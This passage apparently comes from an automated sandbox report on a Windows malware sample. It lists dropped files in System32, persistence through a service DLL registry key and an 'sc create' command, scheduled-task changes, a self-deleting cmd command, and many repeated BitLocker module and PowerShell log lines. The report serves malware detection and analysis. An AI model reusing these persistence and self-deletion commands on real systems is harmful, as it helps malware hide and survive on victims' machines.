Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6829984B push 00000000h; retf	53_2_68299850
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_682970AC push rax; iretd	53_2_682970AD
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_682951B2 push rdx; retn 0000h	53_2_682951B3
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6829998B push 00000000h; ret	53_2_68299990
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6829999B push 00000000h; iretd	53_2_682999A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6829AA73 push 00000000h; ret	53_2_6829AA78
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6829ABBB push 00000000h; retf	53_2_6829ABC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6829ABB3 push 00000000h; ret	53_2_6829ABB8
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6829A7AB push 00000000h; iretd	53_2_6829A7B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333C2B8 push 050001C2h; retn 0001h	53_2_00007FFDA333C2C5
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333C2C8 push 680001C2h; retn 0001h	53_2_00007FFDA333C2CD
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333C2D0 push 680001C2h; retn 0001h	53_2_00007FFDA333C2D5

Persistence and Installation Behavior

Creates a Windows Service pointing to an executable in C:\Windows

Source: C:\Windows\System32\reg.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\x543664\Parameters ServiceDll C:\Windows\System32\x543664.dat

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\console_zero.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\usvcinsta64.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Executable created and started: c:\windows\system32\crypti.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows \System32\printui.exe

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\pyld64.exe	File created: C:\Windows\System32\usvcinsta64.exe	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	File created: C:\Users\user\Desktop\pyld64.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x543664.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file

Source: C:\Users\user\Desktop\pyld64.exe	File created: C:\Windows\System32\usvcinsta64.exe	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x543664.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn "console_zero" /f

Source: C:\Windows\System32\reg.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\x543664\Parameters

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\Ld0f3NDosJ.exe"
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\Ld0f3NDosJ.exe"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
